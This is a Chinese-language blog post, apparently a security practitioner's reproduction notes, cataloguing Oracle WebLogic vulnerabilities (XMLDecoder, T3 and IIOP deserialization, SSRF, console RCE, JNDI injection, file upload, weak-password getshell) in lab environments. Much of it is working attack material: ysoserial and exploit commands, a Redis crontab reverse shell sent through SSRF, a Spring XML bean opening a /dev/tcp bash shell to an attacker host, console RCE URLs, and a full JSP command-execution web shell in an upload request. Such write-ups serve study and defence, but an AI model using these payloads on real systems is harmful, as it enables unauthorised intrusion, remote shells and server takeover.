• weblogic重要漏洞记录


    (PS:之前在freebuf发过,这里直接复制过来的,所以有些图片会有水印)

    前言

    T3协议存在多个反序列化漏洞
    CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2628/CVE-2018-2893/CVE-2018-2894/CVE-2018-3191/CVE-2018-3245/CVE-2019-2890/CVE-2020-2546/CVE-2020-2555/CVE-2020-2801/CVE-2020-2883/CVE-2020-2884/CVE-2020-2915/CVE-2020-14645/CVE-2020-14756/CVE-2020-14825/
    IIOP存在多个反序列化漏洞
    CVE-2020-2551/CVE-2020-14644/CVE-2020-14841
    web存在多个反序列化漏洞
    CVE-2017-3506/CVE-2017-10271/CVE-2018-3252/CVE-2019-2725/CVE-2019-2729
    此外还存在较严重的web漏洞
    CVE-2014-4210/CVE-2018-2894/CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
    批量化检测
    https://github.com/rabbitmask/WeblogicScan
    https://github.com/0xn0ne/weblogicScanner

    XMLDecoder反序列化漏洞

    CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729为同一漏洞的修补。

    尝试访问/wls-wsat/CoordinatorPortType和/_async/AsyncResponseService

    除此之外,还可能存在如下接口

    /wls-wsat/CoordinatorPortType11
    /wls-wsat/ParticipantPortType
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/RegistrationRequesterPortType11

    这些接口均以XMLDecoder解析xml,存在java反序列化导致任意代码执行。

    XMLDecoder和XMLEncoder为java.beans用来反序列化/序列化xml的一个类。

    CVE-2017-3506

    概述

    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

    环境

    JD-GUI

    WebLogic 10.3.6

    漏洞分析

    漏洞触发位置:wls-wsat.war

    漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)

    漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞

    POC:

    分析漏洞调用链

    weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
    weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
    weblogic.wsee.workarea.WorkContextXmlInputAdapter

    先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

    第43行,将header1变量带入到了readHeaderOld()方法中。header1变量由第41行定义,其值为<work:WorkContext> </work:WorkContext> 标签包裹的数据。

    跟进readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)

    byteArrayOutputStream,该类实现了将数据写入字节数组的输出流

    在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),这行代码的大致意思就是将POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类。

    跟进至WorkContextXmlInputAdapter类中(weblogic.wsee.workarea.WorkContextXmlInputAdapter),查看其构造函数

    由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞。

    漏洞复现

    访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。

    漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,默认受到影响的Uri如下:

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    

    利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据, <string></string>标签之间分别写存放jsp的路径和要写入的代码,发送


    XML的构造参考:https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

    CVE-2017-10271

    概述

    CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的:

    补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object标签就抛出运行时异常

    这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。

    漏洞复现

    我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。

    或者直接只用java反序列化漏洞利用工具

    CVE-2019-2725

    概述

    CVE-2017-10271之后,官方继续追加黑名单,除了object之外,new,method标签被禁止,void只能有index属性,array的class属性只能是byte。但还有class标签可以使用,我们要找到一个类用byte传参,且实例化时可以造成命令执行效果。这就是CVE-2019-2725,同时,这个CVE也发现了_async漏洞。

    本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名,因为CVE-2017-10271补丁限制了带method属性的void元素,所以不能调用指定的方法,而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类(weblogic 12.1.3 利用org.slf4j.ext.EventData)构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,最终利用JDK 7u21反序列化漏洞造成了远程代码执行。通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链,再次完美的绕过了CVE-2017-10271补丁限制。

    漏洞复现

    漏洞触发点:bea_wls9_async_response.war、wsat.war

    影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

    复现环境:WebLogic 10.3.6

    访问以下目录中的一种,如下图所示则漏洞:

    /_async/AsyncResponseService
    /_async/AsyncResponseServiceJms
    /_async/AsyncResponseServiceHttps
    /_async/AsyncResponseServiceSoap12
    /_async/AsyncResponseServiceSoap12Jms
    /_async/AsyncResponseServiceSoap12Https
    

    bp在当前页面抓包:

    CVE-2019-2729

    CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。

    因为<class> 标签是漏洞利用所必须的,因此Oracle在CVE-2019-2725补丁中将该标签加入了黑名单。

    然而,对JDK 1.6来说,<class>可以被<array method=”forName”>这种反射形式所替代。因此,使用标签<array method=”forName”>替换<class>标签就可以绕过黑名单。

    Weblogic 12.x版本使用的是org.slf4j.ext.EventData,以及回显版本参考:

    https://github.com/lufeirider/CVE-2019-2725

    T3协议反序列化漏洞

    CVE-2018-2628

    概述

    WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

    同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

    漏洞复现

    使用 https://www.exploit-db.com/exploits/44553中的脚本进行复现,具体使用方法见脚本。

    Kail Attack :192.168.0.162

    server08 victim : 192.168.0.163

    Kail 执行

    1)下载ysoserial.jar

    wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

    2)使用ysoserial.jar,启动JRMP Server

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

    其中,[command]是想执行的命令,而[listen port]是JRMP Server监听的端口。这里我执行:

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

    3)执行exploit.py

    python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

    其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地(Kail系统上的)ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

    这里我执行

    python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2

    结果如下:

    IIOP协议反序列化漏洞

    CVE-2020-2551

    概述

    从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件,影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,导致恶意代码被执行。

    经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

    漏洞复现

    影响版本:weblogic 10.3.6  weblogic 12.1.3.0  weblogic 12.2.1.3.0  weblogic 12.2.1.4.0

    利用的exp为:https://github.com/Y4er/CVE-2020-2551

    然后使用marshalsec起一个恶意的RMI服务

    编辑一下exp.java

    修改为(这是windows的命令执行)

    如果需要linux的命令执行修改为:

    然后编译

    javac exp.java -source 1.6 -target 1.6

    编译完可以直接用Python3在当前exp目录起一个web服务

    python3 -m http.server 80

    然后开始攻击

    java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 rmi://192.168.43.50:1099/exp

    或者也可以起lpad服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.50/#exp
    
    java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 ldap://192.168.43.50:1389/exp

    WebLogic 未授权访问漏洞(CVE-2018-2894)

    概述

    WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在

    影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3

    漏洞路径: /ws_utc/config.do   、  /ws_utc/begin.do

    漏洞复现

    进入CVE-2018-2894的docker环境

    这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码

    docker-compose logs | grep password

    使用得到的密码登入后台,点击高级选项

    勾选启用web服务测试页

    保存即可进入开发环境

    开发环境下的测试页有两个,分别为config.do和begin.do

    第一个上传点/ws_utc/config.do
    首先进入/ws_utc/config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    点击添加后上传一个jsp

    提交之后点击F12审查元素得到jsp上传后的时间戳

    构造得到

    http://192.168.111.224:7001/ws_utc/css/config/keystore/1631522785686_shell.jsp

    即可连接

    第二个上传点/ws_utc/begin.do

    访问http://192.168.111.224:7001/ws_utc/begin.do,上传一个jsp

    点击提交,这里显示一个error不用管它,在响应包中可以看到上传地址:

    构造http://192.168.111.224:7001/ws_utc/css/upload/RS_Upload_2021-09-13_09-06-54_496/import_file_name_shell.jsp

    连接:

    Weblogic SSRF漏洞(CVE-2014-4210)

    概述

    Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。

    影响版本

    10.0.2.0

    10.3.6.0

    验证漏洞

    访问该路径,如果能正常访问,说明存在该漏洞

    /uddiexplorer/SearchPublicRegistries.jsp

    漏洞复现

    vulhub ssrf环境

    访问/uddiexplorer/SearchPublicRegistries.jsp,填写任意信息,点击search,抓包

    抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET 。

    参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code

    发现返回如下信息,说明开放7001端口,但是不是http协议

    An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.

    若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。

    访问不存在的端口,将返回could not connect over HTTP to server

    weblogic SSRF联动Redis

    漏洞复现

    依旧用的上面的vulhub-weblogic-SSRF靶场

    这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2

    docker inspect 39

    可以看见6379的端口存在,且为http协议

    本机监听12345端口

    burp改包直接将弹shell脚本到本机kail上(192.168.111.205)

    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.111.205/12345 0>&1\n\n\n\n" 
    config set dir /etc/ 
    config set dbfilename crontab 
    save
    

    经过url编码后,写入bp中operator参数的后面:

    operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.205%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

    反弹shell成功。

    Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)

    概述

    CVE-2020-14883是越权漏洞,常常和后台代码注入CVE-2020-14882配合,有的时候CVE-2020-14882会不好使,此时可以和CVE-2021-2109配合。

    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

    影响版本:

    10.3.6.0

    12.1.3.0

    12.2.1.3

    12.2.1.4

    14.1.1.0

    漏洞复现

    使用vulhub的CVE-2020-14882环境

    CVE-2020-14883

    权限绕过漏洞的poc:

    http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

    访问该url之后,进入如下页面,可以看见成功进入管理台:

    但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell

    CVE-2020-14882

    首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹

    访问

    http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

    得到如下界面

    我们进入docker查看发现文件夹已经创建成功了:

    sudo docker ps

    sudo docker exec -it f3a72643602a /bin/bash

    这里创建一个xml文件pox.xml,使用bash命令得到反弹shell

    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>/bin/bash</value>
    <value>-c</value>
    <value><![CDATA[bash -i >& /dev/tcp/192.168.111.205/6666 0>&1]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans>

    nc开启监听端口,访问

    http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.111.205/poc.xml")

    即可得到反弹shell

    CVE-2021-2109

    概述

    CVE-2020-14883是越权漏洞,可以和CVE-2021-2109配合使用。

    CVE-2021-2109:攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

    影响版本:

    WebLogic 10.3.6.0.0

    WebLogic 12.1.3.0.0

    WebLogic 12.2.1.3.0

    WebLogic 12.2.1.4.0

    WebLogic 14.1.1.0.0

    漏洞复现

    访问console登陆页面

    http://192.168.2.7:7001/console/login/LoginForm.jsp

    启动LDAP

    下载地址:

    https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

    启动命令

    java -jar JNDIExploit-v1.11.jar -i http://192.168.2.7/

    POC:

    GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
    Host: 192.168.2.7:7001
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    cmd: id
    Cookie: ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005
    Upgrade-Insecure-Requests: 1
    

    Weblogic弱口令&&后台getshell

    概述

    由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。

    弱口令参考:https://cirt.net/passwords?criteria=WebLogic

    影响版本

    全版本

    漏洞复现

    访问http://127.0.0.1:7001/console

    自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台(默认用户名weblogic ,我设置的密码admin888)。

    点击部署->安装

    点击上载文件,

    选择war包,点击下一步

    (PS: 将jsp马打包成war包命令:   jar -cvf shell.war shell.jsp

    上传完成以后选中你上传的文件,点击下一步

    选中作为应用程序安装,点击下一步

    然后直接点击完成即可

    选用我们安装的应用,点击启动即可

    访问:http://ip:port/[war包名]/[包名内文件名]

    这里是http://192.168.0.163:7001/shell/shell.jsp

    连接:

    CVE-2019-2618/CVE-2019-2615

    需要后台密码,比较鸡肋。但其一般不会被删除接口,所以可以用来确认是否为weblogic,以及5次爆破密码。

    /bea_wls_deployment_internal/DeploymentService

    /bea_wls_management_internal2/wl_management

    WebLogic 任意文件上传(CVE-2019-2618)

    概述

    CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

    受影响WebLogic版本:10.3.6.0、12.1.3.0、12.2.1.3。

    漏洞复现

    漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/weblogic)

    构造的POST包如下所示:

    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 192.168.111.129:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
    serverName: weblogic
    password: yourpassword
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 1081
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
    Content-Type: false
    
    <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        }
        else{
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
    }
    %>
    </pre>
    </BODY></HTML> 
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    

    发送数据包 ,返回了上传文件的地址:

    去访问发现执行成功:

    Weblogic 任意文件读取(CVE-2019-2615)

    该漏洞是任意文件读取漏洞,这个漏洞接口是文件下载相关功能使用的接口,也是weblogic server中内部使用的正常功能,所以该漏洞需要weblogic的用户名密码

    参考

    https://mp.weixin.qq.com/s/E_X8ILPZjy-bUa3z6FJx8g

    https://mp.weixin.qq.com/s/AbsZFf3Hj44WucKKBIUOsQ

    https://xz.aliyun.com/t/9932#toc-5

    https://cloud.tencent.com/developer/article/1516342

    https://www.cnblogs.com/vege/p/13261571.html

    https://blog.csdn.net/systemino/article/details/94645652

    https://www.freebuf.com/vuls/284737.html

    https://xz.aliyun.com/t/5078

    永远相信 永远热爱
  • 相关阅读:
    [转]编译原理书籍推荐
    [转]让 Dreamweaver 支持 Emmet(原ZenCoding)
    [转]Zend Studio GitHub 使用教程
    [转]如何用EGit插件把github上的项目clone到eclipse
    [转]github更新自己fork的代码
    [转]少走弯路:学习编译原理的相关建议
    [转]关于计算机研究生报考方向的简要介绍
    [转]zend studio 安装git插件
    [转]如何在SAE上安装原版wordpress
    C语言博客作业02循环结构
  • 原文地址:https://www.cnblogs.com/vege/p/15608200.html
Copyright © 2020-2023  润新知